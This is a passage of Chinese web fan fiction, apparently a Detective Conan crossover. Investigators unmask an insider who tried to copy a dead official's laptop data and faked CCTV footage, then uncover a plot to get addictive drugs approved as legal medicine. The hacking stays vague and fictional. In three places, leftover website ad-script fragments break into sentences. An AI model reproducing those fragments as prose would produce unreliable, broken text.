新井阳介点点头:“佐佐木大介死前15天,新药审查一部针对某个医药企业新开发抗癌药物的产品规格和临床数据举行了三个小时的会议。” 若鹿一雄皱眉:“藤田樱子和二阶堂弘的指纹没有出现在佐佐木大介的电脑上,可能是因为在那之后电脑因为某种原因被擦拭过。有可能是佐佐木大介自己擦的,但更可能是因为……”…… 本堂町小春了然:“在他们两人接触电脑后、第一个留下指纹的人接触电脑前,有一个不希望自己指纹被发现的人也接触了电脑,并且在那之后擦掉了电脑上的所有痕迹。” 扎克利·宫崎一愣,迅速将15天前那场会议的监控录像三倍速播放起来。 录像里的新药审查一部职员们起起落落,认真忙碌着工作,会议室前方的投影屏幕时不时出现各种看不真切的药品数据和资料,桌上也散落着不同文件,不时被人翻动。 偶尔有职员进出会议室,偶尔他们暂停会议,又分别端着咖啡杯走回座位。 扎克利·宫崎喃喃:“一款药品上市之前原来要经过这么复杂的流程啊……” 三倍速的播放很快走到了尽头。 藤田樱子和二阶堂弘接触佐佐木大介的电脑时已经到了会议尾声,那之后再也没有人碰过他的电脑。 直到会议结束,佐佐木大介是最后一个走的职员。他合上电脑,关上会议室的灯和门。 扎克利·宫崎一按回车,屏幕上很快显示出他走出会议室后紧接着的第一个监控画面。 SCAD二组的成员们看着他穿过长长的铺着商务地毯的走廊,监控摄像头的视角换了好几个,电脑始终被他扣在手里。 忽然,迎面走来一个人。 那是个光头男人,看起来跟佐佐木大介差不多年纪,他碰见佐佐木大介后停下来跟他交谈了几句,看起来哥俩好地拍拍他的肩。 “这是谁?” “中川大介,在新药审查二部任职。他和佐佐木大介同名,因此关系还不错。” “监控摄像头显示他遇见佐佐木大介时刚从新药审查二部的办公室出来路过走廊,期间没有在别的地方停留过,电脑上也没有他的指纹。” 光头男人并没有接触电脑,他和佐佐木大介交谈几句后,继续往前走去。 佐佐木大介则向着反方向,在下一段监控里拐进了走廊一侧的小房间里。 “那是新药审查部的资料室,里面都是机密资料,所以只有门口有监控摄像头,里面没有安装。佐佐木大介进门之后待了半小时,中途上过一趟厕所,花了五分钟,他去厕所的时候没有拿电脑。半小时后他才又抱着电脑离开资料室。” 本堂町小春皱眉:“资料室里面还有其他人吗?” 新井阳介摇头:“监控摄像头没有拍到任何人在佐佐木大介之前进过资料室,但是如果有人在他去上厕所的时候接触过那台电脑,只有可能是资料室里的某个人。” “佐佐木大介离开资料室之后,电脑上被检测到的第一个指纹的主人就和他一起使用了电脑,那之后电脑上出现的每一个指纹都能和监控录像对上号。” 若鹿一雄挑眉:“我们的A君通过某种手段替换了监控摄像头?” 樱井绫子皱眉思索了一会儿,半晌:“宫崎,麻烦你再退回去播放一下中川大介出现的那一段。” 30. 第三十章 屏幕上的人开始倒着往回走。 此前他们查看的都是有佐佐木大介出现的监控片段,这次扎克利·宫崎却将焦点对准了中川大介。 光头男人从新药审查二部的办公室走出来。他大概是去接水的,手里还端着一个马克杯,一路从走廊穿过,路过好几个监控摄像头。 忽然,樱田绫子一愣:“等等!” 她站起来,“就这里,麻烦暂停一下。” 扎克利利索地按下回车键。 屏幕上中川大介的动作定格在了他出现在佐佐木大介面前时的画面。他端着马克杯,穿着一件灰色的西装。 “宫崎,麻烦再退回去看一下他刚刚从新药审查二部出来的时候。” 少年黑客任劳任怨。星野真弓拗不过他,最近给他涨了点工资,所以他干活比以前积极了些。 屏幕一闪,光头男人停在踏出办公室门的那一帧。他同样端着马克杯,穿着那件灰西装。 扎克利不知道注意到了什么,微微一愣。 “组长,你发现没有,他穿的那件衣服……”樱田绫子喃喃。 本堂町小春沉吟着点头:“是啊,他的领带系法和遇见佐佐木大介时不太一样。” 若鹿一雄迅速翻开资料:“中川大介的专业是生物医学工程,大学时是计算机社的,他两年前结婚,但最近在跟妻子闹离婚,原因是中川大介投资失败,欠了银行2000万日元的贷款(约等于100万RMB)。” 新井阳介一愣:“他符合我们的侧写。” 樱田绫子沉沉道:“他从办公室走出来的那一段是当天实际发生的事,但是在那之后,他没有在走廊上遇见佐佐木大介,而是拐进了资料室。” “几分钟后佐佐木大介结束会议,也进了资料室,接下来应该和另一段监控发生的事差不多,他就是在那时候接触了佐佐木大介的电脑。” “他在走廊上遇见佐佐木大介的那段画面则应该是另一个时间段发生的事。佐佐木大介念旧,不喜欢买新衣服,重复穿旧衣服上班的几率很高。只要中川大介一直坚持穿同一套西装,总能碰上佐佐木也穿着那套衣服的时候。” 本堂町小春点头:“他故意在走廊上和佐佐木大介打招呼,特意没碰到电脑,事后再把这段录像替换进佐佐木参加会议那天的监控录像里,就可以伪造出他没有进资料室、也没有碰过电脑的假象。” 若鹿一雄接道:“但是他投资失败后,和妻子的感情越发恶化,以往他上班时的西装领带可能都是妻子帮忙系的,但是在那段事后伪造的录像里,他遇见佐佐木大介时的领带是另一种系法。” “妻子已经不愿每天早上帮他系领带了。他料到了一切,但没料到会在这个细节上露出破绽。” 推理完毕,会议室重归寂静。 扎克利·宫崎愣愣地听着他们你一句我一句地分析,半晌忍不住鼓掌:“牛,太牛了!” 难怪多凶残的连环杀人犯都没法逃出这帮侧写师的掌心,这哪是心理专家,简直是一帮人形显微镜! 本堂町小春面色平静地收起资料:“我们找到A君了。若鹿,你继续负责分析,我去通知松田。” …… 十分钟后,中川大介被押进了审讯室。 在此之前,他已经和其他职员一样被扣留了五个小时,一直单独待在一间小型办公室里,由两名公安负责看管。 本堂町小春坐在审讯室侧面的单向玻璃后,看着光头男人被手铐锁在桌前。 “他看起来并不紧张。”她淡淡道。 松田阵平合上资料:“很正常。收钱入侵佐佐木大介的电脑顶多判三年,对他来说锒铛入狱和破产离婚都一样丢脸,到这个地步已经是破罐子破摔,不会有更坏的事了。” 本堂町小春叹气:“甚至不会判到三年,他没真的查到什么东西,也只尝试入侵过一次,情节不算恶劣。” 中川大介明明和佐佐木大介有着一样的名字,但行差一步,就是两种人生。 然而讽刺的是,没守住欲望的前者依旧有机会过好剩下的一辈子,后者却已经永远失去机会,躺在地下长眠了。 松田阵平没再接话。他平静地看着审讯室里的男人。 神谷正坐在中川大介对面负责审讯。 “是谁联系你要求你做这件事的?” 中川大介低着头:“我也不知道。那封邮件突然出现在我的收件箱里,第二天我再去查看,它已经消失了。” “邮件里写着什么?” “让我将佐佐木电脑里的资料全部拷贝下来,记录在硬盘里寄到某个地方,事成之后会帮我还清债务。” “然后你就照着做了?” “……我那段时间一直在和佳奈吵架,如果我还不上债她就要和我离婚。我不想离婚,但短时间里确实凑不出2000万日元。而且我计算机水平还凑合,找机会试一试也没什么,万一对方说的是真的呢?” “你成功了吗?” “没有。佐佐木电脑的加密系统比我想得要复杂很多,我感觉这件事不对劲,就放弃了。之后我也没有再尝试过,尽量把接触电脑的痕迹都销毁了。” “你为了销毁痕迹还替换了监控录像?” “是的。我做事情喜欢多想一些,那段时间实在是被债务逼得没办法,太冲动了,事后花了很多时间清理痕迹。” 他抬起头。 “警官先生,能不能麻烦你告诉我我是因为什么暴露的?” 神谷微微叹气:“……你的领带,在你替换后的那段监控里,不是你妻子系的吧?” 光头男人一愣。 他今年三十出头,工作履历不错,在投资失败前也是个成功体面的人,然而就在这一瞬间,他似乎苍老了很多,肩膀无力地坍塌了下去。 “这样啊……佳奈,我真的很对不起她。其实我做了这件事之后一直良心不安,思考过很多次要不要告诉佐佐木真相。也许因为佳奈系的领带暴露也是一件好事吧,托她的福,我不用再接受良心的拷问了。” “佳奈一直告诉我要正视自己的人生。我知道她其实只是想逼我再找几份零工努力还上债,但我一直在钻牛角尖,总是责怪她不愿意和我同甘共苦。” “现在想想,当初贸然投资是我自己的选择,那是我人生中第一次冲动行事,入侵佐佐木的电脑是第二次。我其实根本不是什么理智的人,又凭什么要求佳奈跟我一起承担后果呢?” 神谷神色复杂地看了他一眼。 “如果你成功的话,那封邮件要求你把硬盘送到哪里?” 光头男人沉默了一会儿。 半晌,他抬起头,神色疲惫。 “…...国立医药品食品卫生研究所。” 审讯室外的两人齐齐一愣。 松田阵平沉吟:“佐佐木大介被害后我们在考虑新的协助人人选,国立医药品食品卫生研究所也是其中一个选项,但真弓不愿意信任任何一个研究所,没想到真被她说中了。” 本堂町小春皱眉:“但是中川大介到现在都活着。如果他知道的这个地址真是关键信息,他现在应该已经被灭口了才对。” 松田阵平点头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“有可能幕后黑手只是把研究所当作中转站,等到中川大介成功送出硬盘后,再派人去研究所将硬盘取回来。但无论如何,这个地址应该不是随机选的。” 他神色冷凝:“另外,为什么不直接毁掉佐佐木大介电脑里的数据?明明他们想要的只是清扫痕迹,那之后事情会怎么样,他们不会在乎。” 本堂町小春挑眉:“说不定他们想确定无误后再行动。佐佐木大介毕竟是政府部门的职员,对他动手越隐蔽越好。” 松田阵平不置可否:“也许吧。” 审讯室里的神谷已经问不出什么了。中川大介知道的内容很有限,完完全全就是一枚被弃用的棋子。 本堂町小春神色平静地站起来。 “我回去看看若鹿他们。PMDA里的钉子找到了,警视厅的才是重头戏。” 松田阵平闻言拿出手机,低头单手飞快地打了几个字。 “我让风见跟你一起去,他对警视厅公安部更了解一点。” …… 星野真弓停好车后,没有像往常一样直接走警察厅的保密电梯,而是牵着江户川柯南的手乘坐普通电梯到了一楼大厅。 她指了指大厅一角那个看起来很像星级酒店大堂的角落,将手里的纸袋递给小侦探:“在沙发那等我一会儿。” 江户川柯南抱着纸袋愣愣地在沙发上坐下,看了眼左手边那座古董钟,又看了看右手边的壁炉。 那是个电子壁炉,显示着火焰燃烧的画面。他伸手靠近摸了摸,什么温度也没感觉到。 虽然是个假壁炉,但这种程度的豪华装修居然真的出现在警察厅里,国民的税金到底被你们用来干什么了啊! 忍下内心吐槽的欲望,他抬头看着星野真弓和前台的引导员小姐交谈了一会儿,然后拿着两个身份吊牌走了回来。 如果松田阵平在这里,大概会认出正在执勤的那位引导员小姐就是那天晚上见过宫野明美的那位。她在自己不知道的时候再次和国家机密擦肩而过。 星野真弓走近了。 穿风衣的黑发女人蹲下来,帮江户川柯南把吊牌挂上。突破社交距离的一瞬间,小侦探闻到淡淡的尼古丁味。 不难闻,甚至挺舒服的。 看着星野真弓给她自己也挂上吊牌,江户川柯南跟着她再次走进电梯。 他们停在19楼。 电梯门打开时,江户川柯南看到迎面贴在墙上的金属铭牌,上面刻着“警备局公安课”。 “这是……警察厅公安的办公室?” 星野真弓点头:“警备局的公安课负责管理全国警视厅和警察本部的公安警察。” 小侦探抬头看她:“那谁来管理他们?” 星野真弓微微一笑:“当然是更上面的管理官。” 她没有说实话。 负责管辖警备局公安课的人就是[零]组,但他们大部分时候都只会行使监督权。 [零]组平时负责的事要比一般公安复杂得多,他们有权决定警察厅公安在一部分机密信息上的知情权,需要用到更多人手时也偶尔会抽调警察厅公安。 除此之外,公安课平常都在忙自己该忙的事,跟[零]组的接触不多。 但她当然不能把这些告诉小侦探。 先不提她现在的身份只是个公安协助人,不可能知道更上层的信息,她对工藤新一的观察还没完全结束,[零]组的存在是机密,小侦探还不够格知道。 江户川柯南点点头:“松田警官在这里吗?” 星野真弓向前走去:“他应该在审讯室。” 31. 第三十一章 星野真弓并没有真的把小侦探带去审讯室。 先不提里面多少待着几位[零]组的保密成员,以她目前这个挂着访客牌的“公安协助人”身份,明面上她是进不去更里头的。 最后他们在19楼空置的会客室见到了松田阵平。 卷毛警官抱着一垒资料径直放在桌上,然后十分不见外地在沙发上坐下,翘着腿从兜里掏烟。 星野真弓挑眉:“小孩子还在呢。” 松田阵平动作一顿,半晌强行把烟收了回去。 他撑头朝桌上那垒资料比划了一下:“你们来之前已经在PMDA里找到一个了,这些是佐佐木大介死后所有接触过他电脑的警视厅公安的名单。” 江户川柯南咂舌:“这是可以统计出来的吗?” 松田阵平半眯着他那双睫毛浓密的黑色眼睛:“佐佐木大介被害当天案子就被移交给公安了,那之后电脑一直被保存在警视厅公安的证物室里面,所有进出的人都会被证物室门口的监控拍到。” 他顿了顿:“一共57个人。” 江户川柯南忍不住被他们的效率惊了一下。 他的侦探生涯里最频繁接触的警察非搜查一课莫属,目暮警官是个颇有经验的弥勒佛,平生最擅长的事就是在案发现场背着手打电话咨询工藤君。 这不能怪他,在层层选拔的警察系统中,目暮警官年近五十才堪堪做到警部,正是因为他本来就不是才华横溢的精英警察。 他的职位也不需要那种精英水平——警察办案自有一套流程。庞大的国家机器运转时,总有办法让每一块砖瓦靠着执行规章制度就能维护好社会治安。 然而,公安警察是完全不同的概念。 江户川柯南几天前见过风见裕也,知道他隶属警视厅公安部,那时候他尚且只能感觉到一丝警视厅公安与普通刑警不同的效率和独断。 但如果将这套感觉放到松田阵平和警察厅身上,那后者的效率简直就是个24小时不停转的马达。 今天是佐佐木大介死亡的第六天,佐佐木大介公寓楼爆炸案的第三天,他们已经明确了炸弹犯的身份,又在一天内从整整一百多个职员中揪出了PMDA里隐藏的内鬼,同时还排查完了警视厅公安部接近两周的监控录像,找出警视厅公安里的组织成员恐怕也只是时间问题。 最重要的是,他们精准地破解了佐佐木大介留下的暗号和线索,虽然其中也有他自己的参与,但他清楚就算这件事只有松田阵平和星野真弓自己忙活,他们俩必然也会找到同样的结果。 这背后透露出来的信息是可怕的。可怕,但是又令人高兴。 国家机器运转的效率比他想象的要高太多,越过那些他平时接触过的普通刑警的肩头,工藤新一隐约窥见了那些千万人里选拔出来的精英的身影。 他不得不承认,虽然公安的行事风格有时候为人诟病,他曾经也听说过警视厅刑警对公安的抱怨,但警察系统的结构如此设置,并不是没有一定道理的。 身体缩小的名侦探第一次开始郑重地思考灰原哀那天对他说的话:我是不是应该把我的身份告诉他们,以寻求一些合作或者帮助呢? 警察厅公安是不是真的掌握着什么有关那个组织的线索,以至于他们对医药领域的非法行为如此敏感? 这种线索对他们来说也许只是几条线报、几个疑点,但对身体缩小的他来说却显得那么重要。 而且,灰原逃离组织之后,她原本的身份一定正被组织盯着。警察厅有没有可能给她提供更有效的保护呢? 他正思索着,松田阵平忽然淡淡地看了他一眼,那双眼睛漆黑且锐利。 “不要误会,警察厅的人手足够。” 江户川柯南的思路被打断,他一抽嘴角,决定不去思考他是用什么方法看出了自己的想法。 随即他决定先专注在眼前的事情上,一转话题:“对了,星野姐姐,那个箱子!” 听到小侦探提起,星野真弓这才收起看好戏似的眼神,将刚从土里挖出来的手提箱放在桌上。 箱子被打开,药瓶和电脑一齐露了出来。 她抱臂靠在沙发上:“电脑被加密了,但是,佐佐木大介加密这台电脑的目的不是为了让任何人都找不到里面的东西,相反,他恰恰是为了让合适的人有能力看到里面的东西。” 江户川柯南点点头:“相比其他公安,佐佐木大介应该更信任萩原哥哥和松田警官你吧?你觉得他会设置什么样的密码?” 松田阵平挑眉:“谁知道呢?他本可以直接在那家摩托车修理厂将一切和盘托出。” 小侦探一愣,不得不承认这是事实。 如果佐佐木大介完全信任松田阵平,那么他肯定会首选开口说话,而不是留下一个复杂的暗号。 ……除非,他觉得直接亲口告诉松田阵平这件事本身就会被幕后黑手注意到,而使用暗号传递则不会。 他皱眉沉思着,星野真弓却突然开口:“其实不一定会有那么复杂。” 小侦探抬头:“诶?” 星野真弓缓缓眨了一下她那双灰蓝色的眼睛:“柯南君,你还记得那天晚上在警视厅,我们是怎么推理出‘池袋西口公园’这个地址的吗?” “……摩斯密码?” 她轻轻一笑:“这就是问题所在吧。佐佐木大介留下的信息其实只有‘左’和‘右’的不同折角而已,我们却理所当然地认为‘左’是指短波,‘右’是指长波,明明把它们倒换一下,也可以得出一串字母。” 在摩斯密码里,所有字母和数字都可以由一个点和一个短横指代。 比如,字母A是点横,而字母N是横点。数字1是点横横横横,数字6是横点点点点。横和点可以互换,并且得出和原来完全不同的内容。 当使用闪光灯或者电波这种可以明显表现短波和长波的符号时,这种表述是很清楚的。 但是佐佐木大介使用的是“左”和“右”。 世界上可没有任何规定说过左边一定指代短波,而右边则一定指代长波。 江户川柯南一怔:“而我们之所以默认这个对应方式,是因为只有这样那串字母才会排列出有意义的单词……” 但是,他们现在需要知道的是某个密码,那么如果将“西池袋1826”的英文反过来,一串没有意义的字母序列,不正是最佳答案吗? “如果把nikebukuro1826的摩斯密码翻转一下……”江户川柯南当即扯过桌上的纸笔,刷刷写起来,“那么就是a,i,r,e,j,g,r,g,k,s,9,2,8,4。” 松田阵平了然:“佐佐木大介是个细致且高效率的人,当然不会浪费每一次利用诡计的机会。” 星野真弓已经果断打开电脑输入。按下回车键后,电脑屏幕闪了闪,系统自带的蓝天白云绿草原壁纸出现,整个桌面上除了系统自带软件,只有一个文件夹。 星野真弓沉默着看了一眼那个被命名为“AD”的文件夹,半晌移动光标打开了它。 江户川柯南凑到她身边,看着文件夹里出现好几十份不同的文档,标题全部都是长串的英文,一眼扫过去只能看到密密麻麻的医学名词常用词根词缀。 “这是……” 还没等他看清,屏幕一晃,文件夹忽然被关掉了。 他一愣,转头看向正从键盘上收回手的星野真弓。 后者大概视力和英语都很好,至少比只活了十七年的小侦探要好一些,她微低着头似乎还在思索,声音却微沉下去,毫不犹豫。 “阵平,电脑先放你这,我去下卫生间。” 江户川柯南眼睁睁看着她“啪”得一声把电脑合上。 “…...星野姐姐,不看了吗?” 星野真弓勾唇对他露出一个不达眼底的笑:“现在还不是时候。” 松田阵平却意识到了什么,面色有些严肃地接过电脑,重新放回手提箱里:“小鬼,你不是要帮忙抓内鬼吗?还看不看那57个人的资料了?” “…...诶?” 不是,我们什么时候说好了?? 江户川柯南还没反应过来,两位大人却像已经商量好了一样默契地行动起来。 手提箱被松田阵平放在沙发旁的角落,桌上正中央的地方重新摆上那堆资料,星野真弓则站起来开门离开了会客室。 她的风衣一角从门口闪过,江户川柯南眨眨眼,还有些没跟上他们的脑回路。 …… “前几天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他传回消息说日本境内出现了某种新型药品,我当时以为他指的只是地下市场,这种事对东京来说不算新鲜,组对课的缉毒警平时也不是吃干饭的。” 星野真弓双手插在风衣口袋里,站在落地窗旁静静地俯视着东京的天际线。她脸上的神情介于懒得摆表情和某种微妙的不爽之间。 “但现在看来,事情恐怕还要更严重一点。难怪他在美国待得好好的,这几天却突然回国。” 黑田兵卫摘下眼镜,低声道:“现在是什么情况?” “……我怀疑组织正在试图通过某种手段合法上市成瘾性药物。”星野真弓声音冰冷,“佐佐木大介把那个文件夹命名为AD,你我都清楚那是什么的缩写。” 黑田兵卫擦眼镜的动作一顿。 AD。 AddictiveDrugs。 成瘾性药物只是个好听的说法,真要说起来,它其实只有一个名字:毒/品。 办公室的气氛凝重了起来,半晌黑田兵卫问:“这个计划成功了吗?” 星野真弓摇头:“说实话,无法判断。只要组织的医药代理商提供的新药信息通过了厚生劳动省和PMDA的审查,他们就可以光明正大地通过合法渠道运输交易这种药物。” “一种新药被研发出来不一定真的要被摆上药房货架。只要成功上市、有人愿意订购,那么把成瘾性药物直接伪装成普通药品,批量生产、厂家直销就可以合法合规地赚取大额利润。” 从古至今的毒/枭们最梦寐以求的都是稳定的毒/品走私交易路线,永远不需要担心像猎犬一样紧盯他们不放的警察。 而现在,黑衣组织身体力行地告诉他们,要做就做到极致,我们直接走合法途径运输非法药物,警察想抓我们,也得掂量掂量自己有没有资格。 到时候,钱根本连个数字都算不上。 只要他们能做到,那么垄断亚洲、不,甚至不只是亚洲的成瘾性药物市场只是时间问题。 “但如果某种药物的真实面目是毒/品,你觉得正常的审查程序会察觉不到吗?”星野真弓面无表情。 “他们之所以敢这么有恃无恐,是因为有更上面的人给他们充当保护伞。就算他们提供的药品资料错漏百出,上面的人也有办法让他们直通后门。” “这个人的职位必然非常高,隐藏得也足够深。公安的内鬼?呵,对那个人来说大概连只蚂蚁都算不上。” 黑田兵卫皱眉:“那么佐佐木大介是怎么察觉到的?” 星野真弓淡淡地望着东京的天空:“谁知道呢,或许是上天的旨意吧。” PMDA新药审查部门的其他人也许被上面的人忽悠一下就信了、就不会追究了、就觉得没什么差错了,但对佐佐木大介这样的人来说,有些事是没有办法忽视的。 无论佐佐木大介是通过何种手段拿到的资料,现在的当务之急都是赶紧顺藤摸瓜找出组织安插在政府里开后门的钉子,否则他们就算失败了一次,也能重振旗鼓进行第二次上市审查,只不过可能从感冒药换成安眠药,从新药审查一部换成新药审查二部。 百足之虫,死而不僵。 到时候佐佐木大介冒着生命危险保下来的资料,真的就成了一堆废纸了。 星野真弓收回视线,转过身看向管理官:“组织的资金流动大部分源于美国,他们在美国的政治根基必然比在亚洲要深,通过FDA(美国食品药品监督管理局)的审查对他们来说会更容易。” “以他们的野心,不可能不想联通亚太和北美的地下药品线路,到时候他们占据的就是全球最大的两个毒/品交易市场。他们恐怕是先在美国上市成功了,才开始着手准备日本的药物审查的。” “在那之前,这种药品一定已经在地下市场流通过一段时间了,东南亚、日本、北美南美,随便什么地方都是他们的实验场。” 黑田兵卫沉默了一会儿,半晌:“如果是这样,那么一切就关联上了。” “几周前洛杉矶出了一件事,你知道吗?” 星野真弓一愣:“什么事?” “洛杉矶最大的黑手党首领和地下毒/枭艾迪·卡萨诺突然被捕。这不是他第一次被逮捕,但却是他唯一一次没有被成功保释。” 32. 第三十二章 星野真弓微微皱眉。 黑田兵卫低声道:“他没有钱继续请律师或者支付保释金了。FBI逮捕他前一天,他的全部流动资产、整整一亿美金被一个国际欺诈团伙骗走,艾迪·卡萨诺当场破产,过几天就会被提起公诉。” “…...国际欺诈团伙?” 她靠在落地窗上,垂头思索了一会儿,忽然意识到了什么。 “……艾迪·卡萨诺原本应该是黑衣组织最好的工具人选。” 她顿了顿,“组织不会暴露自己的存在,要想做成瘾性药物的生意,他们必须得想办法包装自己,艾迪·卡萨诺就是他们的幕前人偶。” “只要他们能够通过艾迪·卡萨诺之手掌控加州的地下毒/品市场,就可以躲在幕后不费吹灰之力地获取大量利益。加州不仅仅有星光云集的好莱坞,更汇集了世界顶尖的科技公司,而且北美最大最繁忙的两个港口都在加州,借着艾迪·卡萨诺的名义藏点东西废不了什么功夫。” “但现在艾迪·卡萨诺突然入狱,他们短时间内肯定得暂停计划,直到寻找到别的替代者。亚美州地下交易路线至少一个月内连接不起来,这一个月是属于我们的。” 她不知想到了什么,忽然轻笑一声。 “什么国际欺诈团伙,那家伙待在洛杉矶果然闲不下来啊。” 黑田兵卫无言地看了她一眼:“你不是很清楚他在纽约黑手党家族之间混得多么风生水起吗?” 星野真弓的眼神带上了微妙的嫌弃。 “谁知道他突然去洛杉矶干什么?[零]组从头到尾只收到过一个定位,我还以为是终于经受不住比弗利山庄和沙滩派对的诱惑了呢。” 黑田兵卫重新把擦拭好的眼镜带上:“艾迪·卡萨诺刚出事他就冒险回来,必然承担了一定风险,估计是因为这个原因才没办法说明详细始末。不过幸好,日本尚且在我们的掌控之中。” 星野真弓清楚他指的是什么,直起身点了下头:“我会让松田继续跟进佐佐木大介的案子。” 她微沉着眼,语气却依然和平时别无二致。 “对了,今天我把那个少年侦探带过来了。” “工藤新一?” “是啊,我怕他好奇心旺盛闲不住乱跑,先给他找点事做。” 黑田兵卫一言难尽地看了她一眼:“……这是第四个了吧。你的职位是这个秘密部门的长官,不是——” “不是天才少年收集户,对吧?”星野真弓挑眉,“放心吧,有人帮我看着他,不会出什么事的。” 黑田兵卫懒得回话,摆摆手送客。 …… 非自然死亡原因研究所(UDI),二楼实验室。 三澄美琴和东海林夕子各自捧着一杯咖啡,眨着眼看着隔壁会客室里的UDI所长神仓保夫和一个穿黑西装的陌生人交谈了一会儿,紧接着领着一位茶色头发的小女孩走回实验室。 那个小女孩看起来有些外国血统,穿着一件童装白大褂,手里还有模有样地拎着一个银色手提箱。 “……所长,这是?” 神仓保夫是个已经快到退休年纪的中年人,头发半白,但面色神采奕奕,看起来至少还能工作二十年。 他对两名女法医笑了笑:“这是最近会借用我们实验室的灰原哀小朋友。小哀,这是UDI的三澄美琴法医和监床检查技师东海林夕子,那边那位是中堂系法医。” 最后被他指到的是个卷发男人,他正坐在隔着一道玻璃的另一间办公室里,抱手不知凝视着什么,根本没搭理这边发生的事。 茶色头发的女孩神色平淡地点头:“灰原哀,请多指教。” “请、请多指教......不是,等等、” 东海林夕子看看一本正经的所长,又看看同样一本正经的灰原哀,忽然抓起神仓保夫的手把他扯到隔壁会客室。 “所长,这到底是怎么回事?你该不会是在开玩笑吧?” 神仓保夫看看四周,小声道:“我是认真的,那个小姑娘家里没有我们这边的化验设备齐全,所以要借用一下我们这的实验室。” “…..这明显不是重点吧!”东海林夕子也用气音道,“那么小的小女孩怎么能随便用法医实验室,她看起来最多七岁!七岁!人还没解剖台高!” 神仓保夫伸出一只手掩着嘴,“别看她那么小,她可是警察厅送来的人。” 东海林夕子一愣:“警察厅?” 神仓保夫对她眨眨眼:“你知道UDI的衣食父母是谁吗?” “?” “警察厅和厚生劳动省!UDI全靠这两位祖宗给我们拨款才能继续运营下去,得罪谁都不能得罪祖宗,特别是警察厅!” “…特别是警察厅?” 神仓保夫又压低了一些声音:“我先透露一下吧,其实前几天他们就来找过我,大概是希望我签一份协议成为他们的协助人,之后他们也会找到你们。你放心,协助人的工作不需要你们额外做什么,但是可以领到双倍工资。” “!!!” 东海林夕子立刻两眼放光:“双倍工资?!” 她匆匆看了一眼已经被三澄美琴带去参观实验室的小女孩:“我去,这确实是祖宗,亲生的祖宗!” 神仓保夫神秘一笑:“这可要多亏我当年在厚生劳动省的时候眼光独到,结交了一个不得了的朋友。” 东海林夕子眨眨眼。 神仓保夫的声音已经低到只能看清口型了:“现任警察厅厅长,当年他还是个普通公安警察的时候,我就认识他了。” …… “这些就是全部了,楼下食堂会供应餐饮,隔壁房间橱柜里有零食和电热水壶,你还有什么需要的吗?”三澄美琴温和地笑笑。 她比东海林夕子平静一些,短暂惊讶之后就接受了事实。反正所长做事总有他的理由,她带着小朋友参观参观实验室也没什么损失。 灰原哀环顾一圈:“超高液相色谱质谱联用仪只有一台检修中的吗?” 三澄美琴一愣,看着一串专业术语从一个小学生模样的女孩口中说出来还真是让人有些不适应。 她很快反应过来点头:“是啊,大概还需要一天才能检修完毕,这段时间我们进行毒理检测都是用的另外一台高效液相色谱仪。” 灰原哀没再说什么,转过头:“这里有小白鼠吗?” 平心而论,法医实验室养着小白鼠听上去挺奇怪的,但UDI不是普通实验室,而是全国最顶尖的法医实验室,既然能被临时充作药物分析的研究所,自然也配齐了其他实验用样本。 三澄美琴转过身:“我去帮你借调几只。” 灰原哀淡淡笑了一下:“谢谢你,三澄医生。另外,我借用实验室期间可能得麻烦你们暂时回避。” 三澄美琴一愣,半晌微笑:“好,我会跟其他人说明的。” …… 星野真弓 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没去“厕所”多久。 十分钟后,她一边垂眸看着手机,一边推门回到会客室。 正和松田阵平一起埋在资料堆里的江户川柯南抬了抬眼,目送她把手机收回口袋,径直走到一旁的另一座沙发坐下,又几下摸出那本刚刚被合上之后再没人碰过的电脑,就这么打起字来。 松田阵平似乎对此习以为常,头也没抬。星野真弓脸上更是看不出什么特别的情绪。 名侦探若有所思的目光在他们两人身上晃了一圈。 他已经决定暂时不过问那台电脑里的资料是什么了。看两位大人的神情也看得出来,那些资料一定很重要,就算问了他们也不会告诉自己,包括那个药瓶…… 等等,药瓶?! 他悚然一惊,视线重新黏回放在一旁没关的手提箱上,看了半天都没看出那个原本应该被放在里面的药瓶去了哪。 难道说,趁着刚刚起身出门的那几秒里,星野真弓就这么轻轻松松在松田阵平和他自己的眼皮子底下,不动声色地顺走了药瓶? …...不,甚至可能不包括松田阵平,从头到尾没发现的应该只有他自己。 江户川柯南打了个寒颤,低头装模作样地看资料的同时,还在继续思索。 为什么松田阵平任由她把药瓶带走? 如果松田阵平没发现,她又为什么要瞒着他们两人? 药瓶被带去了哪? 他直觉整件事中缺少了关键的一环,内心的小人抓耳挠腮半天也想不出个所以然来,反倒是先因为星野真弓接下来的动作走了神。 他瞄着星野真弓掏出转接口插在电脑上,半晌又插上一枚智能芯片,垂眸打起字来。五分钟后,她慢条斯理地拔下芯片,合上电脑。 没等名侦探反应过来,她忽然转头朝他伸出手:“阵平。” 江户川柯南一愣,这才意识到她是在叫他旁边的那个人。 松田阵平抬头扫了一眼那台电脑,又挑眉看了眼她的神情,半晌从西装外套下的枪带里掏出一把枪。 从管理官的办公室回来后,星野真弓眉间就隐隐透着一丝不愉。那种细微的情绪是涉世未深相识不久的少年侦探无法察觉的,松田阵平认识她太久,倒是能一眼看出来她心情不好,并迅速理解这背后的潜台词。 她从来不是一个过分情绪化的人,心里在想什么也很少直接写在脸上,多数情况下都以不变应万变,似乎发生什么都能挂上惯常有些懒散的微笑。 这不是因为她不在乎,而是因为处在这个位置、执行这种工作的时候,情绪化的人总是死得更早。 即使是现在,就算内心怒火滔天,她最多也只会面无表情地拉平嘴角。 星野真弓垂眸掂了掂手/枪重量,随即掰开保险栓,抬手倏地对准桌上那台电脑。 “!” 江户川柯南一惊,条件反射地捂耳朵。 三声震耳欲聋的枪响后,电脑冒出丝丝白烟,滋啦一声彻底报废了。 会议室的隔音效果似乎不错,所处位置附近人也不多,门外没发生什么骚乱,似乎根本没人注意到这几声枪响。 星野真弓神色平静地放下举枪的手,在小侦探惊恐的眼神中走向他们,将枪和那枚芯片一起递还给松田阵平。 “电脑太大不好携带,资料都在这里了,密码你清楚。” 松田阵平一愣,半晌面不改色地接过两样东西。 “知道了。”他低声道。 33. 第三十三章 他们走出警察厅的时候已经接近傍晚。 今天这一天过得可谓精彩纷呈。一边是松田阵平带队搜刮了PMDA,活像个强抢民居的黑/道老大,一顿收拾把新药审查部门连人带资料全薅回了警察厅。 